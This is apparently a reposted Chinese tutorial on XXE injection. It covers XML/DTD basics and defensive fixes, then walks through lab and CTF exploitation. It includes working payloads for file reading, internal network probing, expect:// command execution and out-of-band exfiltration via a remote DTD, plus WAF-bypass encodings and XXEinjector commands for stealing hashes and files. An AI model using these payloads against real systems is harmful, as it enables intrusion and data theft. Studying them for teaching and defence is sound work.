39:WEB漏洞-XXE&XML之利用檢測繞過全解


思維導圖

知識點

XML被設計為傳輸和存儲數據,XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素,其焦點是數據的內容,其把數據從HTML分離,是獨立於軟件和硬件的信息傳輸工具。

XXE漏洞全稱XML External Entity Injection,即XML外部實體注入漏洞,XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致可加載惡意外部文件,造成文件讀取、命令執行、內網端口掃描、攻擊內網網站等危害。

XML與HTML對比

  • XML被設計為傳輸和存儲數據,其焦點是數據的內容。
  • HTML被設計用來顯示數據,其焦點是數據的外觀。
  • HTML旨在顯示信息,而XML旨在傳輸信息。

Xml典型代碼:

<!--XML聲明-->
<?xml version="1.0"?>
<!--文檔類型定義-->
<!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔-->
<!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素-->
<!ELEMENT to (#PCDATA)> <!--定義to元素為”#PCDATA”類型-->
<!ELEMENT from (#PCDATA)> <!--定義from元素為”#PCDATA”類型-->
<!ELEMENT head (#PCDATA)> <!--定義head元素為”#PCDATA”類型-->
<!ELEMENT body (#PCDATA)> <!--定義body元素為”#PCDATA”類型-->
]]]>
<!--文檔元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

DTD

文檔類型定義(DTD)可定義合法的XML文檔構建模塊
它使用一系列合法的元素來定義文檔的結構
DTD可被成行地聲明於XML文檔中,也可作為一個外部引用

(1)內部的DOCTYPE聲明
<!DOCTYPE 根元素 [元素聲明]>

(2)外部文檔聲明
<!DOCTYPE 根元素 SYSTEM "文件名">

DTD實體

(1)內部實體聲明
<!ENTITY 實體名稱 "實體的值">
(2)外部實體聲明
<!ENTITY 實體名稱 SYSTEM "URI">
(3)參數實體聲明
<!ENTITY %實體名稱 "實體的值">
<!ENTITY %實體名稱 SYSTEM "URI">

XXE漏洞的修復與防御方案-PHP,Java,Python-過濾及禁用

方案1-禁用外部實體

PHP:
libxml_disable_entity_loader(true);

Java:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-過濾用戶提交的XML數據

過濾關鍵字:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

補充-各腳本支持的協議

本課重點

  • 案例1:pikachu靶場XML數據傳輸測試-回顯,玩法,協議,引入
  • 案例2:xxe-lab靶場登錄框xml數據傳輸測試-檢測發現
  • 案例3:CTF-Jarvis-OJ-Web-XXE安全真題復現-數據請求格式
  • 案例4:CTF-Vulnhub-XXE安全真題復現-檢測,利用,拓展,實戰
  • 案例5:xxe安全漏洞自動化注射腳本工具-XXEinjector(Ruby)

案例1:pikachu靶場XML數據傳輸測試-回顯,玩法,協議,引入

存在xxe的情況下:

玩法1-讀文件

如下腳本,將其復制粘貼,提交,成功讀取pikachu服務器某文件內容

<?xml version = "1.0"?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "file:///d://test.txt"> 
]>
<x>&xxe;</x>
//xxe為變量,讀取test.txt
//打印出來
//用file協議讀指定路徑的文件

顯示結果:

玩法2-內網探針或攻擊內網應用(觸發漏洞地址)

如下腳本,將其復制粘貼,提交,返回為空。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://192.168.0.103:8081/index.txt" >
]>
<x>&rabbit;</x>

返回為空,說明內網中192.168.0.103服務器上,index.txt文件是存在的,也可以說8081端口是開放的,因此這里這個xxe漏洞,可以實現內網探針。

為什么這里返回為空,說明index.txt文件是存在的?因為如下測試顯示,改為不存在的1132323.txt后,服務器返回一行報錯信息。

玩法3-RCE

讀CASE是在安裝expect擴展的PHP環境里執行系統命令

<?xml version="1.0" ?>
<!DOCTYPE ANY [
	<!ENTITY xxe SYSTEM "expect://id">
]>
<x>&xxe;</x>

由於本地環境未安裝expect擴展,因此該玩法未測試。

玩法4-引入外部實體dtd

<?xml version="1.0" ?>
<!DOCTYPE test [
	<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">
	%file;
]>
<x>&send;</x>
//引入外部實體dtd,dtd就是xml的后綴,識別為xml格式
//如果設置了禁止外部實體引用,將會失效

可以在遠程攻擊者服務器(127.0.0.1)上保存的evil2.dtd寫上:

<!ENTITY send SYSTEM "file:///d:/test.txt">

引入外部實體dtd,核心代碼在drd文件中,一方面是為了繞過一些服務器的限制,另一方面是為了自定義一些攻擊代碼,類似於遠程文件包含漏洞。如下圖,成功回顯服務器上文件內容。

玩法5-無回顯-讀取文件

pikachu注釋掉回顯代碼,構造無回顯的環境

如下腳本

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://192.168.0.103:8081/test.dtd">
%dtd;
%send;
]>

本地192.168.0.103上構造test.dtd:

<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://192.168.0.103:8081/?data=%file;'>"
>
%payload;

此時把腳本復制粘貼,提交,服務器不再返回任何信息

本地開啟日志,查找日志就可以看到test.txt數據了。

將數據base64解碼,得到原始數據。

玩法6-協議-讀文件(繞過)

1、ENTITY``SYSTEM``file等關鍵詞被過濾-->使用編碼方式繞過:UTF-16BE

cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

2、http被過濾-->可以使用其他協議繞過,比如data://協議、file://協議加文件上傳、php://filter協議加文件上傳

<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>

3、繞過WAF保護的XXE-->

  • 方法1:文檔中的額外空格
  • 方法2:格式無效
  • 方法3:外來編碼(Exotic encodings)
  • 方法4:在一個文檔中使用兩種類型的編碼

參考:

https://www.cnblogs.com/20175211lyz/p/11413335.html

http://www.cl4y.top/xxe%e7%ac%94%e8%ae%b0/

https://lab.wallarm.com/xxe-that-can-bypass-waf-protection-98f679452ce0/

案例2:xxe-lab靶場登錄框xml數據傳輸測試-檢測發現

如何檢測發現xxe漏洞?

  • 1.提交的數據包含xml格式如: <forgot><username>admin</username></forgot>
  • 2.請求頭中如:Content-Type: text/xml或Content-Type: application/xml
  • 3.盲猜:更改content-type值application/xml看返回

靶場下載地址:https://github.com/c0ny1/xxe-lab

以xxe-lab靶場登錄框為例,使用burp抓包時,可以右擊send to Spider自動爬行網站,所有的網站數據包會在Proxy-History模塊顯示。

此時可以全局搜索xml關鍵字

也可以查看MIME type類型是否為XML,MIME type類型為XML對應Content-Type: text/xml或Content-Type: application/xml,對應內容形式如下:<user><username>2</username><password>2</password></user>

找到xxe漏洞點后,使用如下腳本攻擊測試,成功讀取到服務器上文件內容。

<?xml version = "1.0"?>
<!DOCTYPE Mikasa [ 
<!ENTITY test SYSTEM "file:///d:/test.txt"> 
]>
<user><username>&test;</username><password>Mikasa</password></user>

顯示如下

案例3:CTF-Jarvis-OJ-Web-XXE安全真題復現-數據請求格式

真題地址:http://web.jarvisoj.com:9882/

抓包如下,數據包使用的是json格式,此處使用盲猜的方法檢測是否存在xxe漏洞。

更改請求數據格式為:application/xml,使用以下腳本,成功讀取服務器文件passwd內容。

<?xml version = "1.0"?>
<!DOCTYPE ANY [ 
	<!ENTITY f SYSTEM "file:///etc/passwd"> 
]>
<x>&f;</x>

案例4:CTF-Vulnhub-XXE安全真題復現-檢測,利用,拓展,實戰

很多靶場鏡像的網站:https://vulnhub.com

本案例靶場下載地址:https://download.vulnhub.com/xxe/XXE.zip 

利用過程:掃描IP及端口-->掃描探測目錄-->抓包探針xxe安全-->利用xxe讀取源碼-->flag指向文件-->base32 64解密-->php運行-->flag

<1>在本機虛擬機環境安裝靶場,靶場安裝后,由於我們不知道用戶名密碼,無法進入(一般鏡像環境不會告訴你用戶名密碼,防止你進入后直接查看后台源碼);

<2>同時在本機虛擬機環境安裝安裝忍者系統,打開忍者系統,查看自身IP為192.168.64.135;

<3>在忍者系統掃描同網段:nmap -sS 192.168.64.1/24,成功得到靶機的IP及開放端口。

<4>在瀏覽器打開如下

<5>由於這是一個web網站,我們可以嘗試掃描web目錄,或者直接查看robots.txt找到關鍵目錄。

<6>進入/xxe/目錄,發現是個登錄框。

<7>嘗試抓包查看,發現登錄參數采用xml格式傳輸,猜測這里有xxe漏洞。

<8>嘗試攻擊一下,利用以下腳本讀取xxe.php源碼。

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ENTITY r ANY >
	<!ENTITY ap SYSTEM "php://filter/read=convert.base64-decode/resource=xxe.php">
    %a;
]>
<root><name>≈</name><password>hj</password></root>

成功回顯

PS:這里為什么使用php://filter協議而不是使用file://協議呢?原因是php://filter協議讀取文件時,不需要文件的絕對地址,而file://協議需要文件的絕對地址。

<9>將xxe.php改為admin.php,成功讀取admin.php源碼

<10>base64解碼源代碼后,分析,成功找到用戶名密碼。

<11>密碼是md5散列后的值,將其解密后得到原始密碼為admin@123,使用用戶名密碼登錄網站。

<12>登錄成功后,顯示如下頁面,點擊flag。

<13>點擊flag后,跳轉到flagmeout.php頁面,但是顯示無法打開該頁面。

<14>再次嘗試讀取flagmeout.php頁面源代碼。

<?xml version="1.0" ?>
<!DOCTYPE r [
    <!ENTITY r ANY >
	<!ENTITY ap SYSTEM "php://filter/read=convert.base64-decode/resource=./flagmeout.php">
    %a;
]>
<root><name>≈</name><password>hj</password></root>

這里由於flagmeout.php文件在根目錄下,而不是在/xxe/目錄下,因此讀取時需要寫為./flagmeout.php。

成功回顯

<15>base64解碼源代碼,找到加密后的flag。

<16>分析flag,發現是base32編碼,將其在線解碼,得到字符串如下。

<17>該字符串是base64編碼,再將其base64解碼,成功得到flag地址:/etc/.flag.php

<18>繼續使用腳本讀取該文件

<19>base64解碼如下,分析,這是一段php代碼。

<20>將這段PHP代碼在線運行一下,成功得到flag。

 

案例5:xxe安全漏洞自動化注射腳本工具-XXEinjector(Ruby)

XXEinjector是一款基於Ruby的XXE注入工具,它可以使用多種直接或間接帶外方法來檢索文件。其中,目錄枚舉功能只對Java應用程序有效,而暴力破解攻擊需要使用到其他應用程序。

運行前提:Ruby運行環境,建議在kali環境下運行。

基本參數詳解

--host      	必填項– 用於建立反向鏈接的IP地址。(--host=192.168.0.2)
--file      	必填項- 包含有效HTTP請求的XML文件。(--file=/tmp/req.txt)
--path          必填項-是否需要枚舉目錄 – 枚舉路徑。(--path=/etc)
--brute         必填項-是否需要爆破文件 -爆破文件的路徑。(--brute=/tmp/brute.txt)
--logger        記錄輸出結果。
--rhost         遠程主機IP或域名地址。(--rhost=192.168.0.3)
--rport         遠程主機的TCP端口信息。(--rport=8080)
--phpfilter    	在發送消息之前使用PHP過濾器對目標文件進行Base64編碼。
--netdoc     	使用netdoc協議。(Java).
--enumports   	枚舉用於反向鏈接的未過濾端口。(--enumports=21,22,80,443,445)
--hashes       	竊取運行當前應用程序用戶的Windows哈希。
--expect        使用PHP expect擴展執行任意系統命令。(--expect=ls)
--upload       	使用Java jar向臨時目錄上傳文件。(--upload=/tmp/upload.txt)
--xslt      	XSLT注入測試。
--ssl           使用SSL。
--proxy         使用代理。(--proxy=127.0.0.1:8080)
--httpport Set	自定義HTTP端口。(--httpport=80)
--ftpport       設置自定義FTP端口。(--ftpport=21)
--gopherport  	設置自定義gopher端口。(--gopherport=70)
--jarport       設置自定義文件上傳端口。(--jarport=1337)
--xsltport  	設置自定義用於XSLT注入測試的端口。(--xsltport=1337)
--test     		該模式可用於測試請求的有效。
--urlencode     URL編碼,默認為URI。
--output       	爆破攻擊結果輸出和日志信息。(--output=/tmp/out.txt)
--timeout     	設置接收文件/目錄內容的Timeout。(--timeout=20)
--contimeout  	設置與服務器斷開連接的,防止DoS出現。(--contimeout=20)
--fast     		跳過枚舉詢問,有可能出現結果假陽性。
--verbose     顯示verbose信息。

XXEinjector使用樣例

枚舉HTTPS應用程序中的/etc目錄:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl

使用gopher(OOB方法)枚舉/etc目錄:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher

二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt

使用HTTP帶外方法和netdoc協議對文件進行爆破攻擊:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc

通過直接性漏洞利用方式進行資源枚舉:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK

枚舉未過濾的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all

竊取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes

使用Java jar上傳文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf

使用PHP expect執行系統指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls

測試XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt

記錄請求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt

XXEinjector下載地址:https://github.com/enjoiz/XXEinjector

演示:下載,進入目錄,執行命令(此處環境為忍者系統)

忍者系統還集成了很多xxe的payload,可以供我們直接利用。

參考:https://www.cnblogs.com/bmjoker/p/9614990.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM